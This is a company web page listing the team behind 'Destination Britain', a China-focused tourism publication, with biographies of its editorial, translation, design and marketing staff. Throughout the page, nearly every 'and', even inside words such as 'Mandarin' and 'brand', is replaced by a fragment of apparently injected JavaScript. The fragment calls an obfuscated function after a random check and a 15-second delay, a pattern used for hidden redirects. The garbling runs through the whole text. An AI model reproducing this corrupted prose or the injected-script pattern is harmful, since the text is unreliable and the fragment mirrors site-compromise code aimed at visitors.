The Team

The Team Behind ‘Destination Britain’

‘Destination Britain’ is independently published by Outbound Global Marketing Ltd, a group of specialists in B2B publishing, online marketing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and China outbound tourism, with the cooperation of VisitBritain. Key members include:

nicholos

Nick is a highly experienced publishing professional, having lead teams on both consumer andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and B2B magazines for nearly 25 years. He has worked for a number of large publishers at senior management levels on numerous magazine launches andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and in several languages – including the USA, UK, Europe, China, Japan andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Brazil. He has also overseen the successful foreign licensing of titles with a thorough knowledge of successful localisation.

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His project management has spanned the latest developments in publishing through print, online, social media andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tablet formats. He has worked in advertising andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and editorial in several industry sectors ranging from the music/recording industry to high-net worth andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and luxury travel. He is a member of the China Britain Business Council

Jo Leslie – Editorial Promotions Manager

Jo is a well known name in the UK travel industry having worked for VisitBritain as both Head of International PR during the Olympic andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and most recently as the manager of UK China Business Development andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the GREAT China Welcome Programme, designed to help Britain become the most welcoming andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and popular destination in Europe for visitors from China. Since going live at the end of March 2014 the programme has signed up some 300 retail, leisure andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and hospitality businesses, published a widely acclaimed directory, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and produced a great brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and film.

Jo has substantial knowledge of the challenges UK suppliers face in targeting China andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has given countless presentations about the Chinese tourism market. These roles mean Jo has worked closely with many strategic partners, including the Prime Minister’s Office, FCO, UKTI andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and British Airways. As well as working on Destination Britain, she continues to oversee the ongoing development of the GCW programme, working with the VB team in China to ensure that all UK partners derive real benefit andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and value from their membership. She is also a published author andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and heads up her own successful PR consultancy.

Yanxi Wu – Translation & Chinese Editorial Manager

Yanxi Wu, also known as Antonia, is our lead translator andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and oversees all supplier profiles andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the publication’s final presentation. She is a fully trained translator andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and proof reader into/from Simplified Chinese with impeccable standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andards, working professionally for eight years. She is a native Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin speaker with an MA in Translating andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Interpreting from Newcastle University andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and a BA in Chinese Language andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Literature from Tianjin Foreign Studies University in China. She has worked for the European Commission, two Olympics, The British Council andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Stanford University as well as the luxury real estate andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and casino hotel sector. She is a Chinese ‘linguistic test engineer’ for PayPal andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has been translating for leading luxury brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands, including Burberry’s China marketing material– widely considered one of the most successful brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and entries into China.

Fenghua Mo -Web Manager

Fenghua Mo, also known as Sammi, specialises in China online andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and social media marketing. She will oversee the development of our China-hosted trade website. As a Chinese national with experience working worldwide, Fenghua understandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands the nuances of the China’s internet world andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the differences between Chinese andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Western culture. She has great expertise in creating effective online marketing andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and web strategies to help Western companies having a good presence on the digital world in China.

She is trained in Baidu PPC by Chinese leading search engine Baidu, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has also received training for Baidu SEO by Netconcepts, the top SEO company in China.

Fenghua also has experience in promoting online video campaigns for large western organisations including Exxon Mobil, Shell, IKEA, Visit Britain andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and KLM. Fenghua holds an MA degree in Chinese Language & Philology andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and speaks Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin, Cantonese andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and English.

George Cao & Co – Social Media andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and E-mail Marketing Consultants

George is co-founder & CEO of Dragon Trail Interactive. This award winning digital marketing agency andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and travel technology company in China helps global travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tourism organisations reach andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and connect with affluent Chinese mainlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and consumers through customized online marketing services. Headquartered in Beijing, with an office in Shanghai, they are 100% focused on travel, 100% focused on digital andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and 100% focused on China. George leads an international team of travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and tourism industry veterans in digital marketing, social media andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and travel distribution to deliver Best in Class solutions for helping travel organisations reach Chinese consumers online. Clients include Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin Oriental Group, Canadian Tourism, The Atlantis Dubai, PATA andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and CITS.

Jill Bradley – Editorial Production Co-Ordinator

Jill is a trained editorial professional andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and travel industry executive. Having worked for a leading UK newsstandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and magazine as news editor andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and proof reader, she went on to work with Audley Travel (UK) where she was a senior sales specialist planning tailor-made travel for clients, as well as writing editorial for its magazine, newsletters, marketing material andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and website. She also held the position of travel writer for Billionaire500, luxury e-magazine. She now heads up UK trade sales for a leading luxury safari operator andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and often writes travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and marketing items for clients. She will coordinate materials submissions, editorial production andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and workflow.

Chunynag Butler – Design Manager

Chungyang heads up our design team andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and will ensure the final book’s layout andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and presentation is styled to its Chinese audience. She is a highly qualified Chinese native graphic designer who started her career as lead designer for a luxury Chinese hotel group andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and travel agency andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and went on to develop her DTP andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and graphic design skills over 20 years working on numerous Chinese andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and English print andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and online projects, including an interactive guide to London for Chinese tourists. A native Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin speaker she’s also fluent in English andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Cantonese.

Clarity Zeng – Data Resource Manager

Clarity is a Chinese native based in China who will oversee our target list data management andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and telemarketing verification as well as post-delivery surveys. She has years of experience in business data research, best-practice data acquisition, verification andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and file management andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and will ensure Destination Britain reaches its target market.

Wade Wong – Production Manager

Wade will oversee the print production andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and dispatch of ‘Destination Britain’. Based at one of China’s leading mainlandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and book andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and magazine printers, he is a highly experienced publishing professional who has managed numerous international projects to comply with China’s media conditions andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the highest quality standom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andards. He is a Chinese native, fluent in English andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has been involved in the project planning of ‘Destination Britain’ since the outset.

Amy Tan – Advisor

Amy is a Chinese native who has lived in Britain for 6 years. Having worked in the Chinese banking industry, she is now a China-Britain senior business development consultant andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin language teacher, working with several leading technology andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and manufacturing companies. She is an expert in Chinese business practice andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and culture andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and member of the China Britain Business Council.

Roy Graff – Concept Consultant

Recognised as a world-leading expert in China tourism andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and hospitality, Roy has deep knowledge of Chinese culture, language andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and business practices that stems from his extensive work in academia, public andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and private sectors. Roy holds a bachelor’s degree in Chinese andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Economics from the School of Oriental andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and African Studies (SOAS), University of London andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and is fluent in Mandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andarin.

From 2002-2005 he was tasked with the full-scale development of outbound independent travel business in China for Gullivers Travel Associates (now part of Kuoni) during which time he established excellent relationships with leaders of the Chinese tourism sector. He is a frequent keynote speaker at world travel forums on trends in e-commerce, online travel andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and retail in China andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and is the author of ‘China -The Future of Travel’, the definitive industry reference handom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andbook on China outbound travel – now in its 3rd edition.

He is managing Director of ChinaContact, the leading boutique China market entry advisory service with an unparalleled China-wide contact network. He is also a founding member of both the China Advisers Network (CAN) andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and of China Edge, which offers strategy, training andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and marketing reach in China to luxury retail andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and hospitality brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ands. Past andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and present clients range from VisitBritain, VisitLondon, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Tourism Irelandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and, to Peninsula Hotels, European Cities Marketing, COTTM, Skyscanner andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Eurostar.

Recently Roy also became the UK managing Director of Digital Jungle, a cross cultural digital marketing firm specialising in working with International organisations marketing to a Chinese speaking audience.

Opportunities:

Outbound Global Marketing is a young andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and progressive company with a highly experienced team working in one of the most dynamic market sectors. Other country books scheduled soon to be added to the Destination series for China include California, France, Italy andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Australia. If you have experience in China Outbound Tourism are interested in joining our team as a staff member, partner company or country agent , feel free to Contact Us